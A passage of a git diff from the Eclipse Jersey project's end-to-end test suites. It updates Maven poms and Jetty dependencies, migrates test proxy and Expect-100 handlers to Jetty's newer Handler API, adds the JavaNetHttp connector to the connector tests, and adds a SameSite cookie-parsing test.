+ <artifactId>slf4j-api</artifactId>
+ </exclusion>
+ </exclusions>
+ </dependency>
+ <dependency>
+ <groupId>org.eclipse.jetty</groupId>
+ <artifactId>jetty-http</artifactId>
+ <version>${jetty11.version}</version>
+ <exclusions>
+ <exclusion>
+ <groupId>org.slf4j</groupId>
+ <artifactId>slf4j-api</artifactId>
+ </exclusion>
+ <exclusion>
+ <groupId>org.eclipse.jetty</groupId>
+ <artifactId>jetty-util</artifactId>
+ </exclusion>
+ </exclusions>
+ </dependency>
+ <dependency>
+ <groupId>org.eclipse.jetty</groupId>
+ <artifactId>jetty-io</artifactId>
+ <version>${jetty11.version}</version>
+ <exclusions>
+ <exclusion>
+ <groupId>org.slf4j</groupId>
+ <artifactId>slf4j-api</artifactId>
+ </exclusion>
+ <exclusion>
+ <groupId>org.eclipse.jetty</groupId>
+ <artifactId>jetty-util</artifactId>
+ </exclusion>
+ </exclusions>
+ </dependency>
+ <dependency>
+ <groupId>org.eclipse.jetty</groupId>
+ <artifactId>jetty-util</artifactId>
+ <version>${jetty11.version}</version>
+ <exclusions>
+ <exclusion>
+ <groupId>org.slf4j</groupId>
+ <artifactId>slf4j-api</artifactId>
+ </exclusion>
+ </exclusions>
+ </dependency>
+ <dependency>
+ <groupId>org.slf4j</groupId>
+ <artifactId>slf4j-api</artifactId>
+ <version>${slf4j.version}</version>
+ </dependency>
+ </dependencies>
<build>
<plugins>
<plugin>
@@ -250,15 +327,35 @@
</plugins>
</build>
</profile>
+
<profile>
- <id>jdk11+</id>
+ <id>JettyTestExclude</id>
<activation>
- <jdk>[11,)</jdk>
+ <jdk>[11,17)</jdk>
</activation>
- <properties>
- <!-- https://bugs.openjdk.java.net/browse/JDK-8211426 -->
- <surefire.security.argline>-Djdk.tls.server.protocols=TLSv1.2</surefire.security.argline>
- </properties>
+ <build>
+ <plugins>
+ <plugin>
+ <groupId>org.apache.maven.plugins</groupId>
+ <artifactId>maven-compiler-plugin</artifactId>
+ <executions>
+ <execution>
+ <id>default-testCompile</id>
+ <phase>test-compile</phase>
+ <configuration>
+ <testExcludes>
+ <testExclude>org/glassfish/jersey/tests/e2e/client/connector/proxy/Proxy*Test.java</testExclude>
+ <testExclude>org/glassfish/jersey/tests/e2e/client/nettyconnector/Expect100ContinueTest.java</testExclude>
+ </testExcludes>
+ </configuration>
+ <goals>
+ <goal>testCompile</goal>
+ </goals>
+ </execution>
+ </executions>
+ </plugin>
+ </plugins>
+ </build>
</profile>
<profile>
<id>xdk</id>
@@ -287,4 +384,9 @@
</profile>
</profiles>
+ <properties>
+ <!-- https://bugs.openjdk.java.net/browse/JDK-8211426 -->
+ <surefire.security.argline>-Djdk.tls.server.protocols=TLSv1.2</surefire.security.argline>
+ </properties>
+
</project>
diff --git a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/HttpPatchTest.java b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/HttpPatchTest.java
index 051be02..f2c7d82 100644
--- a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/HttpPatchTest.java
+++ b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/HttpPatchTest.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2017, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2023 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -24,7 +24,6 @@
import java.util.concurrent.Future;
import java.util.logging.Level;
import java.util.logging.Logger;
-import java.util.stream.Stream;
import jakarta.ws.rs.PATCH;
import jakarta.ws.rs.Path;
@@ -36,12 +35,11 @@
import org.glassfish.jersey.apache.connector.ApacheConnectorProvider;
import org.glassfish.jersey.apache5.connector.Apache5ConnectorProvider;
import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.client.HttpUrlConnectorProvider;
import org.glassfish.jersey.client.spi.ConnectorProvider;
import org.glassfish.jersey.grizzly.connector.GrizzlyConnectorProvider;
-import org.glassfish.jersey.internal.util.JdkVersion;
import org.glassfish.jersey.jdk.connector.JdkConnectorProvider;
import org.glassfish.jersey.jetty.connector.JettyConnectorProvider;
+import org.glassfish.jersey.jnh.connector.JavaNetHttpConnectorProvider;
import org.glassfish.jersey.logging.LoggingFeature;
import org.glassfish.jersey.netty.connector.NettyConnectorProvider;
import org.glassfish.jersey.server.ResourceConfig;
@@ -62,16 +60,15 @@
private static final Logger LOGGER = Logger.getLogger(RequestHeaderModificationsTest.class.getName());
public static List<ConnectorProvider> testData() {
- int size = JdkVersion.getJdkVersion().getMajor() < 11 ? 5 : 6;
- final ConnectorProvider[] providers = new ConnectorProvider[size];
- providers[0] = new JdkConnectorProvider();
- providers[1] = new GrizzlyConnectorProvider();
- providers[2] = new ApacheConnectorProvider();
- providers[3] = new Apache5ConnectorProvider();
- providers[4] = new NettyConnectorProvider();
- if (size == 6) {
- providers[5] = new JettyConnectorProvider();
- }
+ final ConnectorProvider[] providers = new ConnectorProvider[] {
+ new JdkConnectorProvider(),
+ new GrizzlyConnectorProvider(),
+ new ApacheConnectorProvider(),
+ new Apache5ConnectorProvider(),
+ new NettyConnectorProvider(),
+ new JavaNetHttpConnectorProvider(),
+ new JettyConnectorProvider(),
+ };
return Arrays.asList(providers);
}
diff --git a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/MultiPartTest.java b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/MultiPartTest.java
index 3cb45b9..83a52dd 100644
--- a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/MultiPartTest.java
+++ b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/MultiPartTest.java
@@ -19,16 +19,15 @@
import org.glassfish.jersey.client.ClientConfig;
import org.glassfish.jersey.client.HttpUrlConnectorProvider;
import org.glassfish.jersey.client.spi.ConnectorProvider;
-import org.glassfish.jersey.internal.util.JdkVersion;
import org.glassfish.jersey.jdk.connector.JdkConnectorProvider;
import org.glassfish.jersey.jetty.connector.JettyConnectorProvider;
-import org.glassfish.jersey.netty.connector.NettyConnectorProvider;
import org.glassfish.jersey.logging.LoggingFeature;
import org.glassfish.jersey.media.multipart.BodyPart;
import org.glassfish.jersey.media.multipart.BodyPartEntity;
import org.glassfish.jersey.media.multipart.MultiPart;
import org.glassfish.jersey.media.multipart.MultiPartFeature;
import org.glassfish.jersey.message.internal.ReaderWriter;
+import org.glassfish.jersey.netty.connector.NettyConnectorProvider;
import org.glassfish.jersey.server.ResourceConfig;
import org.glassfish.jersey.test.JerseyTest;
import org.glassfish.jersey.test.TestProperties;
@@ -52,24 +51,22 @@
import java.util.Collection;
import java.util.logging.Level;
import java.util.logging.Logger;
-import java.util.stream.Stream;
public class MultiPartTest {
private static final Logger LOGGER = Logger.getLogger(RequestHeaderModificationsTest.class.getName());
public static ConnectorProvider[] testData() {
- int size = JdkVersion.getJdkVersion().getMajor() < 11 ? 3 : 4;
- final ConnectorProvider[] providers = new ConnectorProvider[size];
- providers[0] = new HttpUrlConnectorProvider();
- providers[1] = new NettyConnectorProvider();
- providers[2] = new JdkConnectorProvider();
- if (size == 4) {
- providers[3] = new JettyConnectorProvider();
- }
+ final ConnectorProvider[] providers = new ConnectorProvider[] {
+ new HttpUrlConnectorProvider(),
+ new NettyConnectorProvider(),
+ new JdkConnectorProvider(),
+ new JettyConnectorProvider(),
+ };
return providers;
}
+
@TestFactory
public Collection<DynamicContainer> generateTests() {
Collection<DynamicContainer> tests = new ArrayList<>();
diff --git a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/RequestHeaderModificationsTest.java b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/RequestHeaderModificationsTest.java
index 4e1b89e..adc1b27 100644
--- a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/RequestHeaderModificationsTest.java
+++ b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/RequestHeaderModificationsTest.java
@@ -58,10 +58,10 @@
import org.glassfish.jersey.client.ClientConfig;
import org.glassfish.jersey.client.HttpUrlConnectorProvider;
import org.glassfish.jersey.client.spi.ConnectorProvider;
-import org.glassfish.jersey.internal.util.JdkVersion;
+import org.glassfish.jersey.jetty.connector.JettyConnectorProvider;
+import org.glassfish.jersey.jnh.connector.JavaNetHttpConnectorProvider;
import org.glassfish.jersey.logging.LoggingFeature;
import org.glassfish.jersey.grizzly.connector.GrizzlyConnectorProvider;
-import org.glassfish.jersey.jetty.connector.JettyConnectorProvider;
import org.glassfish.jersey.server.ResourceConfig;
import org.glassfish.jersey.test.JerseyTest;
import org.glassfish.jersey.test.TestProperties;
@@ -107,11 +107,13 @@
{new JettyConnectorProvider(), true, false, false, false}, // change to true when JERSEY-2341 fixed
{new ApacheConnectorProvider(), false, false, false, false}, // change to true when JERSEY-2341 fixed
{new Apache5ConnectorProvider(), false, false, false, false}, // change to true when JERSEY-2341 fixed
+ {new JavaNetHttpConnectorProvider(), true, true, false, false},
{new HttpUrlConnectorProvider(), true, true, true, true},
{new GrizzlyConnectorProvider(), false, false, true, true}, // change to true when JERSEY-2341 fixed
{new JettyConnectorProvider(), true, false, true, false}, // change to true when JERSEY-2341 fixed
{new ApacheConnectorProvider(), false, false, true, true}, // change to true when JERSEY-2341 fixed
{new Apache5ConnectorProvider(), false, false, true, true}, // change to true when JERSEY-2341 fixed
+ {new JavaNetHttpConnectorProvider(), true, true, false, false},
});
}
@@ -119,10 +121,6 @@
public Collection<DynamicContainer> generateTests() {
Collection<DynamicContainer> tests = new ArrayList<>();
testData().forEach(arr -> {
- if (JdkVersion.getJdkVersion().getMajor() < 11
- && arr[0].getClass().getName().contains("Jetty")) {
- return;
- }
RequestHeaderModificationsTemplateTest test = new RequestHeaderModificationsTemplateTest(
(ConnectorProvider) arr[0], (boolean) arr[1], (boolean) arr[2], (boolean) arr[3], (boolean) arr[4]) {};
tests.add(TestHelper.toTestContainer(test, String.format("%s (%s, %s, %s)",
diff --git a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/proxy/ProxySelectorTest.java b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/proxy/ProxySelectorTest.java
index 030119a..65e64a9 100644
--- a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/proxy/ProxySelectorTest.java
+++ b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/proxy/ProxySelectorTest.java
@@ -17,10 +17,11 @@
package org.glassfish.jersey.tests.e2e.client.connector.proxy;
+import org.eclipse.jetty.server.Handler;
import org.eclipse.jetty.server.HttpChannel;
import org.eclipse.jetty.server.Request;
import org.eclipse.jetty.server.Server;
-import org.eclipse.jetty.server.handler.AbstractHandler;
+import org.eclipse.jetty.util.Callback;
import org.glassfish.jersey.client.ClientConfig;
import org.glassfish.jersey.netty.connector.NettyClientProperties;
import org.glassfish.jersey.netty.connector.NettyConnectorProvider;
@@ -30,8 +31,6 @@
import org.junit.jupiter.api.BeforeAll;
import org.junit.jupiter.api.Test;
-import jakarta.servlet.http.HttpServletRequest;
-import jakarta.servlet.http.HttpServletResponse;
import jakarta.ws.rs.ProcessingException;
import jakarta.ws.rs.client.Client;
import jakarta.ws.rs.client.ClientBuilder;
@@ -113,21 +112,20 @@
return client().target("http://eclipse.org:9998").path(path);
}
- static class ProxyHandler extends AbstractHandler {
+ static class ProxyHandler extends Handler.Abstract {
Set<HttpChannel> httpConnect = new HashSet<>();
+
@Override
- public void handle(String target,
- Request baseRequest,
- HttpServletRequest request,
- HttpServletResponse response) {
- if (request.getHeader(NO_PASS) != null) {
- response.setStatus(Integer.parseInt(request.getHeader(NO_PASS)));
+ public boolean handle(Request request, org.eclipse.jetty.server.Response response, Callback callback) throws Exception {
+ if (request.getHeaders().get(NO_PASS) != null) {
+ response.setStatus(Integer.parseInt(request.getHeaders().get(NO_PASS)));
} else {
response.setStatus(407);
- response.addHeader("Proxy-Authenticate", "Basic");
+ response.getHeaders().add("Proxy-Authenticate", "Basic");
}
- baseRequest.setHandled(true);
+ callback.succeeded();
+ return true;
}
}
}
diff --git a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/proxy/ProxyTest.java b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/proxy/ProxyTest.java
index 25368cb..9da5b53 100644
--- a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/proxy/ProxyTest.java
+++ b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/proxy/ProxyTest.java
@@ -17,10 +17,12 @@
package org.glassfish.jersey.tests.e2e.client.connector.proxy;
+import org.eclipse.jetty.server.Handler;
import org.eclipse.jetty.server.HttpChannel;
import org.eclipse.jetty.server.Request;
import org.eclipse.jetty.server.Server;
-import org.eclipse.jetty.server.handler.AbstractHandler;
+import org.eclipse.jetty.server.internal.HttpChannelState;
+import org.eclipse.jetty.util.Callback;
import org.glassfish.jersey.apache.connector.ApacheConnectorProvider;
import org.glassfish.jersey.apache5.connector.Apache5ConnectorProvider;
import org.glassfish.jersey.client.ClientConfig;
@@ -38,8 +40,6 @@
import org.junit.platform.suite.api.SelectClasses;
import org.junit.platform.suite.api.Suite;
-import jakarta.servlet.http.HttpServletRequest;
-import jakarta.servlet.http.HttpServletResponse;
import jakarta.ws.rs.ProcessingException;
import jakarta.ws.rs.client.Client;
import jakarta.ws.rs.client.ClientBuilder;
@@ -202,17 +202,14 @@
}
}
- static class ProxyHandler extends AbstractHandler {
+ static class ProxyHandler extends Handler.Abstract {
Set<HttpChannel> httpConnect = new HashSet<>();
@Override
- public void handle(String target,
- Request baseRequest,
- HttpServletRequest request,
- HttpServletResponse response) {
- if (request.getHeader(PROXY_NO_PASS) != null) {
- response.setStatus(Integer.parseInt(request.getHeader(PROXY_NO_PASS)));
- } else if (request.getHeader("Proxy-Authorization") != null) {
- String proxyAuthorization = request.getHeader("Proxy-Authorization");
+ public boolean handle(Request request, org.eclipse.jetty.server.Response response, Callback callback) throws Exception {
+ if (request.getHeaders().get(PROXY_NO_PASS) != null) {
+ response.setStatus(Integer.parseInt(request.getHeaders().get(PROXY_NO_PASS)));
+ } else if (request.getHeaders().get("Proxy-Authorization") != null) {
+ String proxyAuthorization = request.getHeaders().get("Proxy-Authorization");
String decoded = new String(Base64.getDecoder().decode(proxyAuthorization.substring(6).getBytes()),
CHARACTER_SET);
final String[] split = decoded.split(":");
@@ -231,21 +228,36 @@
if (response.getStatus() != 400) {
response.setStatus(200);
- if ("CONNECT".equalsIgnoreCase(baseRequest.getMethod())) { // NETTY way of doing proxy
- httpConnect.add(baseRequest.getHttpChannel());
+ if ("CONNECT".equalsIgnoreCase(request.getMethod())) { // NETTY way of doing proxy
+ if (!(request.getComponents() instanceof HttpChannelState)) {
+ response.setStatus(Response.Status.INTERNAL_SERVER_ERROR.getStatusCode());
+ callback.failed(new IllegalStateException(
+ "Expecting request.getComponents() to be an instance of HttpChannelState"));
+ return true;
+ }
+ HttpChannel httpChannel = (HttpChannel) request.getComponents();
+ httpConnect.add(httpChannel);
}
}
//TODO Add redirect to requestURI
} else {
- if (httpConnect.contains(baseRequest.getHttpChannel())) {
+ if (!(request.getComponents() instanceof HttpChannelState)) {
+ response.setStatus(Response.Status.INTERNAL_SERVER_ERROR.getStatusCode());
+ callback.failed(new IllegalStateException(
+ "Expecting request.getComponents() to be an instance of HttpChannelState"));
+ return true;
+ }
+ HttpChannel httpChannel = (HttpChannel) request.getComponents();
+ if (httpConnect.contains(httpChannel)) {
response.setStatus(200);
} else {
response.setStatus(407);
- response.addHeader("Proxy-Authenticate", "Basic");
+ response.getHeaders().add("Proxy-Authenticate", "Basic");
}
}
- baseRequest.setHandled(true);
+ callback.succeeded();
+ return true;
}
}
}
diff --git a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/ssl/AbstractConnectorServerTest.java b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/ssl/AbstractConnectorServerTest.java
index a458eb9..0fde39c 100644
--- a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/ssl/AbstractConnectorServerTest.java
+++ b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/ssl/AbstractConnectorServerTest.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2015, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2015, 2023 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -18,7 +18,6 @@
import java.io.IOException;
import java.io.InputStream;
-import java.util.Arrays;
import java.util.stream.Stream;
import javax.net.ssl.SSLContext;
@@ -29,8 +28,8 @@
import org.glassfish.jersey.client.HttpUrlConnectorProvider;
import org.glassfish.jersey.client.spi.ConnectorProvider;
import org.glassfish.jersey.grizzly.connector.GrizzlyConnectorProvider;
-import org.glassfish.jersey.internal.util.JdkVersion;
import org.glassfish.jersey.jetty.connector.JettyConnectorProvider;
+import org.glassfish.jersey.jnh.connector.JavaNetHttpConnectorProvider;
import org.junit.jupiter.api.AfterEach;
import org.junit.jupiter.api.BeforeEach;
@@ -55,15 +54,15 @@
* @return test parameters.
*/
public static Stream<ConnectorProvider> testData() {
- int size = JdkVersion.getJdkVersion().getMajor() < 11 ? 4 : 5;
- final ConnectorProvider[] providers = new ConnectorProvider[size];
- providers[0] = new HttpUrlConnectorProvider();
- providers[1] = new GrizzlyConnectorProvider();
- providers[2] = new ApacheConnectorProvider();
- providers[3] = new Apache5ConnectorProvider();
- if (size == 5) {
- providers[4] = new JettyConnectorProvider();
- }
+ final ConnectorProvider[] providers = new ConnectorProvider[] {
+ new HttpUrlConnectorProvider(),
+ new GrizzlyConnectorProvider(),
+ new ApacheConnectorProvider(),
+ new Apache5ConnectorProvider(),
+ new JavaNetHttpConnectorProvider(),
+ new JettyConnectorProvider()
+ };
+
return Stream.of(providers);
}
diff --git a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/ssl/SslConnectorHostnameVerifierTest.java b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/ssl/SslConnectorHostnameVerifierTest.java
index 2034975..544f5d9 100644
--- a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/ssl/SslConnectorHostnameVerifierTest.java
+++ b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/ssl/SslConnectorHostnameVerifierTest.java
@@ -34,6 +34,8 @@
import org.glassfish.jersey.jetty.connector.JettyClientProperties;
import org.glassfish.jersey.jetty.connector.JettyConnectorProvider;
+import org.glassfish.jersey.jnh.connector.JavaNetHttpConnectorProvider;
+
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.MethodSource;
import static org.junit.jupiter.api.Assertions.assertEquals;
@@ -67,8 +69,10 @@
@ParameterizedTest
@MethodSource("testData")
public void testHostnameVerifierApplied(ConnectorProvider connectorProvider) throws Exception {
- // Grizzly connector does not support Hostname Verification
- if (isExcluded(Arrays.asList(GrizzlyConnectorProvider.class), connectorProvider)) {
+ // Grizzly and JavaNetHttp connectors do not support Hostname Verification
+ if (isExcluded(Arrays.asList(GrizzlyConnectorProvider.class,
+ JavaNetHttpConnectorProvider.class),
+ connectorProvider)) {
return;
}
diff --git a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/httpurlconnector/Expect100ContinueTest.java b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/httpurlconnector/Expect100ContinueTest.java
index f057572..e984b72 100644
--- a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/httpurlconnector/Expect100ContinueTest.java
+++ b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/httpurlconnector/Expect100ContinueTest.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2020, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2020, 2023 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,9 +16,7 @@
package org.glassfish.jersey.tests.e2e.client.httpurlconnector;
-import org.glassfish.jersey.client.ClientConfig;
import org.glassfish.jersey.client.ClientProperties;
-import org.glassfish.jersey.client.HttpUrlConnectorProvider;
import org.glassfish.jersey.client.RequestEntityProcessing;
import org.glassfish.jersey.client.http.Expect100ContinueFeature;
import org.glassfish.jersey.server.ResourceConfig;
diff --git a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/nettyconnector/Expect100ContinueTest.java b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/nettyconnector/Expect100ContinueTest.java
index db08f92..1f18b80 100644
--- a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/nettyconnector/Expect100ContinueTest.java
+++ b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/nettyconnector/Expect100ContinueTest.java
@@ -16,9 +16,10 @@
package org.glassfish.jersey.tests.e2e.client.nettyconnector;
+import org.eclipse.jetty.server.Handler;
import org.eclipse.jetty.server.Request;
import org.eclipse.jetty.server.Server;
-import org.eclipse.jetty.server.handler.AbstractHandler;
+import org.eclipse.jetty.util.Callback;
import org.glassfish.jersey.client.ClientConfig;
import org.glassfish.jersey.client.ClientProperties;
import org.glassfish.jersey.client.RequestEntityProcessing;
@@ -40,6 +41,7 @@
import jakarta.ws.rs.core.HttpHeaders;
import jakarta.ws.rs.core.Response;
import java.io.IOException;
+import java.nio.ByteBuffer;
import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.api.Assertions.assertNotNull;
@@ -202,39 +204,40 @@
.post(Entity.text(ENTITY_STRING)));
}
- static class Expect100ContinueTestHandler extends AbstractHandler {
+ static class Expect100ContinueTestHandler extends Handler.Abstract {
@Override
- public void handle(String target,
- Request baseRequest,
- HttpServletRequest request,
- HttpServletResponse response) throws IOException {
- boolean expected = request.getHeader("Expect") != null;
+ public boolean handle(Request request,
+ org.eclipse.jetty.server.Response response,
+ Callback callback) throws IOException {
+ boolean expected = request.getHeaders().contains("Expect");
boolean failed = false;
+ final String target = request.getHttpURI().getCanonicalPath();
if (target.equals("/" + RESOURCE_PATH_NOT_SUPPORTED)) {
- response.sendError(417);
+ response.setStatus(417);
failed = true;
}
if (target.equals("/" + RESOURCE_PATH_UNAUTHORIZED)) {
- response.sendError(401);
+ response.setStatus(401);
failed = true;
}
if (target.equals("/" + RESOURCE_PATH_PAYLOAD_TOO_LARGE)) {
- response.sendError(413);
+ response.setStatus(413);
failed = true;
}
if (target.equals("/" + RESOURCE_PATH_METHOD_NOT_SUPPORTED)) {
- response.sendError(405);
+ response.setStatus(405);
failed = true;
}
if (expected && !failed) {
System.out.println("Expect:100-continue found, sending response header");
response.setStatus(204);
+ callback.succeeded();
+ return true;
}
- response.getWriter().println();
- response.flushBuffer();
- baseRequest.setHandled(true);
+ response.write(true, ByteBuffer.wrap("\n\r".getBytes()), callback);
- request.getReader().lines().forEach(System.out::println);
+ callback.failed(new ProcessingException(""));
+ return true;
}
}
}
\ No newline at end of file
diff --git a/tests/e2e-core-common/pom.xml b/tests/e2e-core-common/pom.xml
index 1364ab7..95c7b2f 100644
--- a/tests/e2e-core-common/pom.xml
+++ b/tests/e2e-core-common/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>e2e-core-common</artifactId>
diff --git a/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/TestRuntimeDelegate.java b/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/TestRuntimeDelegate.java
index 491f42b..12b2a54 100644
--- a/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/TestRuntimeDelegate.java
+++ b/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/TestRuntimeDelegate.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2017, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2023 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,8 +16,10 @@
package org.glassfish.jersey.tests.e2e.common;
+import jakarta.ws.rs.SeBootstrap;
import jakarta.ws.rs.WebApplicationException;
import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.EntityPart;
import jakarta.ws.rs.core.Link;
import jakarta.ws.rs.core.MediaType;
import jakarta.ws.rs.core.Response;
@@ -30,6 +32,8 @@
import org.junit.jupiter.api.Assertions;
+import java.util.concurrent.CompletionStage;
+
/**
* Test runtime delegate.
*
@@ -47,6 +51,22 @@
throw new UnsupportedOperationException("Not supported yet.");
}
+ @Override
+ public SeBootstrap.Configuration.Builder createConfigurationBuilder() {
+ throw new UnsupportedOperationException("Not supported yet.");
+ }
+
+ @Override
+ public CompletionStage<SeBootstrap.Instance> bootstrap(Application application, SeBootstrap.Configuration configuration) {
+ throw new UnsupportedOperationException("Not supported yet.");
+ }
+
+ @Override
+ public CompletionStage<SeBootstrap.Instance> bootstrap(Class<? extends Application> aClass,
+ SeBootstrap.Configuration configuration) {
+ throw new UnsupportedOperationException("Not supported yet.");
+ }
+
public void testMediaType() {
MediaType m = new MediaType("text", "plain");
Assertions.assertNotNull(m);
diff --git a/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/message/internal/CookiesParserTest.java b/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/message/internal/CookiesParserTest.java
index ad4b91a..16e9e0e 100644
--- a/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/message/internal/CookiesParserTest.java
+++ b/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/message/internal/CookiesParserTest.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -37,14 +37,18 @@
@Test
public void testCaseInsensitiveNewCookieParams() throws Exception {
- _testCaseInsensitiveNewCookieParams("expires", "max-age", "path", "domain", "comment", "version", "secure", "httponly");
- _testCaseInsensitiveNewCookieParams("Expires", "Max-Age", "Path", "Domain", "Comment", "Version", "Secure", "HttpOnly");
- _testCaseInsensitiveNewCookieParams("exPires", "max-aGe", "patH", "doMAin", "Comment", "vErsion", "secuRe", "httPonly");
+ _testCaseInsensitiveNewCookieParams("expires", "max-age", "path", "domain",
+ "comment", "version", "secure", "httponly", "samesite");
+ _testCaseInsensitiveNewCookieParams("Expires", "Max-Age", "Path", "Domain",
+ "Comment", "Version", "Secure", "HttpOnly", "SameSite");
+ _testCaseInsensitiveNewCookieParams("exPires", "max-aGe", "patH", "doMAin",
+ "Comment", "vErsion", "secuRe", "httPonly", "samEsite");
}
private void _testCaseInsensitiveNewCookieParams(final String expires, final String maxAge, final String path,
final String domain, final String comment, final String version,
- final String secure, final String httpOnly) throws Exception {
+ final String secure, final String httpOnly, final String sameSite)
+ throws Exception {
final String header = "foo=bar;"
+ expires + "=Tue, 15 Jan 2013 21:47:38 GMT;"
@@ -54,7 +58,8 @@
+ comment + "=Testing;"
+ version + "=1;"
+ secure + ";"
- + httpOnly;
+ + httpOnly + ";"
+ + sameSite + "=STRICT";
final NewCookie cookie = CookiesParser.parseNewCookie(header);
@@ -69,5 +74,6 @@
assertThat(cookie.getVersion(), equalTo(1));
assertThat(cookie.isSecure(), is(true));
assertThat(cookie.isHttpOnly(), is(true));
+ assertThat(cookie.getSameSite(), equalTo(NewCookie.SameSite.STRICT));
}
}
diff --git a/tests/e2e-entity/pom.xml b/tests/e2e-entity/pom.xml
index abd705c..719134a 100644
--- a/tests/e2e-entity/pom.xml
+++ b/tests/e2e-entity/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>e2e-entity</artifactId>
diff --git a/tests/e2e-inject/cdi-inject-weld/pom.xml b/tests/e2e-inject/cdi-inject-weld/pom.xml
index 558857e..c0ed3e2 100644
--- a/tests/e2e-inject/cdi-inject-weld/pom.xml
+++ b/tests/e2e-inject/cdi-inject-weld/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests</groupId>
<artifactId>e2e-inject</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>e2e-inject-cdi-inject-weld</artifactId>
diff --git a/tests/e2e-inject/cdi2-se/pom.xml b/tests/e2e-inject/cdi2-se/pom.xml
index 8857958..2d6a77b 100644
--- a/tests/e2e-inject/cdi2-se/pom.xml
+++ b/tests/e2e-inject/cdi2-se/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests</groupId>
<artifactId>e2e-inject</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
